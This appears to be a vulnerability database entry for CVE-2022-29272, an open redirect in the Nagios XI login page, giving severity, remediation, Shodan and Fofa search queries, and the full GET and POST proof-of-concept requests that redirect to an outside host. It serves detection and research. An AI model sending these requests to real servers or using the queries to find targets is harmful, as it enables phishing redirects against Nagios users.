🔙 목록으로 돌아가기

CVE-2022-29272: Nagios XI <5.8.5 - Open Redirect

TitleNagios XI <5.8.5 - Open Redirect
Authorritikchaddha
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
RemediationUpgrade Nagios XI to version 5.8.5 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.04126
CVE IDCVE-2022-29272
CWE IDCWE-601
Shodan Queryhttp.title:"nagios xi"
Fofa Querytitle="nagios xi"app="nagios-xi"
Tags cve cve2022 redirect nagios nagiosxi vuln

🔍 Vulnerability Description

Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Content-Length: 119
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

nsp=NIvJ1R&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username=gq3MG0&password=bLM9g4&loginButton=Login

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29272.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29272.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A